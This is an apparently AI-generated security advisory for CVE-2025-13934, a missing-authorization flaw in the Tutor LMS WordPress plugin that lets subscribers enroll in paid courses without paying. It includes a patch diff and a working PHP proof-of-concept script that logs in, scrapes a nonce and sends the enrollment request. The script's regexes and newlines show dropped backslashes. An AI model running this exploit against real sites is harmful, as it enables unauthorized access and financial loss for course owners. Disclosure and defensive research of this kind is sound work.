Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13934: Tutor LMS – eLearning and online course solution <= 3.9.3 – Missing Authorization to Authenticated (Subscriber+) Course Enrollment Bypass (tutor)

Plugin tutor
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.9.3
Patched Version 3.9.4
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13934:
This vulnerability is a missing authorization flaw in the Tutor LMS WordPress plugin, allowing authenticated attackers with subscriber-level access or higher to bypass the purchase flow and enroll themselves in any course. The issue resides in the AJAX handler for course enrollment, which lacked proper capability and purchasability checks. The CVSS score of 4.3 reflects a medium severity impact on confidentiality and integrity.

Atomic Edge research identifies the root cause in the `course_enrollment()` function within the `tutor/classes/Course.php` file. Prior to version 3.9.4, the function at line 2992 performed only a nonce verification and a check for password-protected courses before executing the enrollment logic via `tutor_utils()->do_enroll()`. The function did not validate whether the current user had the required capability to enroll or if the target course was a purchasable, paid product. This missing authorization check constituted a direct violation of the plugin’s intended business logic.

Exploitation requires an authenticated WordPress user with any role, including the default subscriber. The attacker sends a POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `tutor_course_enrollment`. The request must include a valid nonce (obtainable by any logged-in user) and the `course_id` parameter specifying the target course. No other parameters or special payloads are needed. The vulnerability bypasses the entire purchase and checkout flow, granting immediate course access.

The patch in version 3.9.4 adds a critical security check within the same `course_enrollment()` function. After verifying the course is not password-protected, the new code (lines 2999-3010) calls `tutor_utils()->is_course_purchasable($course_id)`. If the course is purchasable (i.e., paid), it then checks if the user is already enrolled using `tutor_utils()->is_enrolled($course_id, $user_id)`. If the user is not enrolled, the function returns a JSON error message ‘Please purchase the course before enrolling’ and halts execution. This enforces the intended workflow where enrollment for paid courses only occurs after a successful purchase transaction.

Successful exploitation directly impacts the revenue model and access control of an e-learning platform. Attackers can gain unauthorized access to premium, paid course content without payment. This leads to financial loss for course creators and platform owners. It also undermines the integrity of student enrollment records and can allow unauthorized users to obtain certificates or completion status for courses they did not legitimately purchase.

Differential between vulnerable and patched code

Code Diff
--- a/tutor/classes/Course.php
+++ b/tutor/classes/Course.php
@@ -2119,12 +2119,17 @@
 			die( esc_html__( 'Please Sign-In', 'tutor' ) );
 		}

+		if ( ! tutor_utils()->is_enrolled( $course_id, $user_id ) ) {
+			die( esc_html__( 'User is not enrolled in course', 'tutor' ) );
+		}
+
 		/**
 		 * Filter hook provided to restrict course completion. This is useful
 		 * for specific cases like prerequisites. WP_Error should be returned
 		 * from the filter value to prevent the completion.
 		 */
 		$can_complete = apply_filters( 'tutor_user_can_complete_course', true, $user_id, $course_id );
+
 		if ( is_wp_error( $can_complete ) ) {
 			tutor_utils()->redirect_to( $permalink, $can_complete->get_error_message(), 'error' );
 		} else {
@@ -2992,6 +2997,25 @@
 			if ( $password_protected ) {
 				wp_send_json_error( __( 'This course is password protected', 'tutor' ) );
 			}
+
+			/**
+			 * This check was added to address a security issue where users could
+			 * enroll in a course via an AJAX call without purchasing it.
+			 *
+			 * To prevent this, we now verify whether the course is paid.
+			 * Additionally, we check if the user is already enrolled, since
+			 * Tutor's default behavior enrolls users automatically upon purchase.
+			 *
+			 * @since 3.9.4
+			 */
+			if ( tutor_utils()->is_course_purchasable( $course_id ) ) {
+				$is_enrolled = (bool) tutor_utils()->is_enrolled( $course_id, $user_id );
+
+				if ( ! $is_enrolled ) {
+					wp_send_json_error( __( 'Please purchase the course before enrolling', 'tutor' ) );
+				}
+			}
+
 			$enroll = tutor_utils()->do_enroll( $course_id, 0, $user_id );
 			if ( $enroll ) {
 				wp_send_json_success( __( 'Enrollment successfully done!', 'tutor' ) );
--- a/tutor/classes/Quiz.php
+++ b/tutor/classes/Quiz.php
@@ -283,6 +283,12 @@
 		$attempt_details = self::attempt_details( Input::post( 'attempt_id', 0, Input::TYPE_INT ) );
 		$feedback        = Input::post( 'feedback', '', Input::TYPE_KSES_POST );
 		$attempt_info    = isset( $attempt_details->attempt_info ) ? $attempt_details->attempt_info : false;
+		$course_id       = tutor_utils()->avalue_dot( 'course_id', $attempt_info, 0 );
+
+		if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
+			wp_send_json_error( tutor_utils()->error_message() );
+		}
+
 		if ( $attempt_info ) {
 			//phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
 			$unserialized = unserialize( $attempt_details->attempt_info );
--- a/tutor/ecommerce/CouponController.php
+++ b/tutor/ecommerce/CouponController.php
@@ -577,10 +577,7 @@
 	 */
 	public function bulk_action_handler() {
 		tutor_utils()->checking_nonce();
-
-		if ( ! current_user_can( 'manage_options' ) ) {
-			tutor_utils()->error_message();
-		}
+		tutor_utils()->check_current_user_capability();

 		// Get and sanitize input data.
 		$request     = Input::sanitize_array( $_POST ); //phpcs:ignore --sanitized already
@@ -630,9 +627,7 @@
 	public function coupon_permanent_delete() {
 		tutor_utils()->checking_nonce();

-		if ( ! current_user_can( 'manage_options' ) ) {
-			tutor_utils()->error_message();
-		}
+		tutor_utils()->check_current_user_capability();

 		// Get and sanitize input data.
 		$id = Input::post( 'id', 0, Input::TYPE_INT );
--- a/tutor/ecommerce/OrderController.php
+++ b/tutor/ecommerce/OrderController.php
@@ -84,7 +84,7 @@
 			 *
 			 * @since 3.0.0
 			 */
-			add_action( 'wp_ajax_tutor_order_details', array( $this, 'get_order_by_id' ) );
+			add_action( 'wp_ajax_tutor_order_details', array( $this, 'ajax_get_order_details' ) );

 			/**
 			 * Handle AJAX request for marking an order as paid by order ID.
@@ -258,10 +258,9 @@
 	 *
 	 * @return void
 	 */
-	public function get_order_by_id() {
-		if ( ! tutor_utils()->is_nonce_verified() ) {
-			$this->json_response( tutor_utils()->error_message( 'nonce' ), null, HttpHelper::STATUS_BAD_REQUEST );
-		}
+	public function ajax_get_order_details() {
+		tutor_utils()->check_nonce();
+		tutor_utils()->check_current_user_capability();

 		$order_id = Input::post( 'order_id' );

--- a/tutor/models/CouponModel.php
+++ b/tutor/models/CouponModel.php
@@ -810,7 +810,7 @@
 		} else {
 			$coupon = $this->get_coupon(
 				array(
-					'coupon_code'   => $coupon_code,
+					'coupon_code'   => esc_sql( $coupon_code ),
 					'coupon_status' => self::STATUS_ACTIVE,
 				)
 			);
--- a/tutor/tutor.php
+++ b/tutor/tutor.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://tutorlms.com
  * Description: Tutor is a complete solution for creating a Learning Management System in WordPress way. It can help you to create small to large scale online education site very conveniently. Power features like report, certificate, course preview, private file sharing make Tutor a robust plugin for any educational institutes.
  * Author: Themeum
- * Version: 3.9.3
+ * Version: 3.9.4
  * Author URI: https://themeum.com
  * Requires PHP: 7.4
  * Requires at least: 5.3
@@ -26,7 +26,7 @@
  *
  * @since 1.0.0
  */
-define( 'TUTOR_VERSION', '3.9.3' );
+define( 'TUTOR_VERSION', '3.9.4' );
 define( 'TUTOR_FILE', __FILE__ );

 /**
--- a/tutor/vendor/composer/installed.php
+++ b/tutor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'themeum/tutor',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'a5dd7291aa5fa582e64a050945b7ec437a833cc5',
+        'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'themeum/tutor' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'a5dd7291aa5fa582e64a050945b7ec437a833cc5',
+            'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/tutor/views/pages/ecommerce/order-list.php
+++ b/tutor/views/pages/ecommerce/order-list.php
@@ -27,7 +27,7 @@
 $limit        = (int) tutor_utils()->get_option( 'pagination_per_page', 10 );
 $offset       = ( $limit * $paged_filter ) - $limit;

-$order_controller = new OrderController();
+$order_controller = new OrderController( false );

 $get_orders  = $order_controller->get_orders( $limit, $offset );
 $orders      = $get_orders['results'];
--- a/tutor/views/pages/view_attempt.php
+++ b/tutor/views/pages/view_attempt.php
@@ -21,12 +21,18 @@
 $attempt_data = $attempt;
 $user_id      = tutor_utils()->avalue_dot( 'user_id', $attempt_data );
 $quiz_id      = $attempt && isset( $attempt->quiz_id ) ? $attempt->quiz_id : 0;
+$course_id    = tutor_utils()->avalue_dot( 'course_id', $attempt_data );
 if ( ! $attempt ) {
-	tutor_utils()->tutor_empty_state( __( 'Attemp not found', 'tutor' ) );
+	tutor_utils()->tutor_empty_state( __( 'Attempt not found', 'tutor' ) );
 	return;
 }
 if ( 0 === $quiz_id ) {
-	tutor_utils()->tutor_empty_state( __( 'Attemp not found', 'tutor' ) );
+	tutor_utils()->tutor_empty_state( __( 'Attempt not found', 'tutor' ) );
+	return;
+}
+
+if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
+	tutor_utils()->tutor_empty_state();
 	return;
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13934 - Tutor LMS – eLearning and online course solution <= 3.9.3 - Missing Authorization to Authenticated (Subscriber+) Course Enrollment Bypass

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'attacker_subscriber';
$password = 'attacker_password';
$target_course_id = 123; // ID of the paid course to enroll in

// Step 1: Authenticate to WordPress and obtain the nonce required for AJAX requests.
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();

// Create a cookie jar to maintain session
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');

// Perform login
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
]);

$login_response = curl_exec($ch);

// Step 2: Visit a page containing the Tutor LMS frontend to load the necessary nonce.
// The nonce is typically available on pages with course listings or single course pages.
// We'll fetch a course page to scrape the nonce.
$course_page_url = $target_url . '/?p=' . $target_course_id; // Assuming a standard permalink
curl_setopt_array($ch, [
    CURLOPT_URL => $course_page_url,
    CURLOPT_HTTPGET => true,
    CURLOPT_POST => false,
    CURLOPT_RETURNTRANSFER => true,
]);

$course_page_html = curl_exec($ch);

// Extract the nonce. Tutor LMS often stores it in a JavaScript variable or a data attribute.
// This pattern looks for a common Tutor nonce variable. Adjust regex based on actual page source.
$nonce_pattern = '/"tutor_nonce"s*:s*"([a-f0-9]+)"/';
preg_match($nonce_pattern, $course_page_html, $nonce_matches);

if (empty($nonce_matches[1])) {
    // Fallback: Try to extract from a data attribute
    $nonce_pattern2 = '/data-tutor-nonce="([a-f0-9]+)"/';
    preg_match($nonce_pattern2, $course_page_html, $nonce_matches);
}

if (empty($nonce_matches[1])) {
    die('Could not extract required nonce from page.');
}

$tutor_nonce = $nonce_matches[1];

// Step 3: Exploit the missing authorization by sending the enrollment AJAX request.
$post_data = [
    'action' => 'tutor_course_enrollment',
    'course_id' => $target_course_id,
    'tutor_nonce' => $tutor_nonce
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
]);

$ajax_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Analyze the response.
echo "HTTP Response Code: $http_coden";
echo "Response Body: $ajax_responsen";

// A successful exploit will return a JSON object with a 'success' key.
$response_data = json_decode($ajax_response, true);
if (isset($response_data['success']) && $response_data['success'] === true) {
    echo "[SUCCESS] Successfully enrolled in course ID $target_course_id without payment.n";
} else {
    echo "[FAILED] Enrollment attempt failed. The site may be patched or the nonce invalid.n";
    if (isset($response_data['data'])) {
        echo "Error message: " . $response_data['data'] . "n";
    }
}

// Cleanup
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School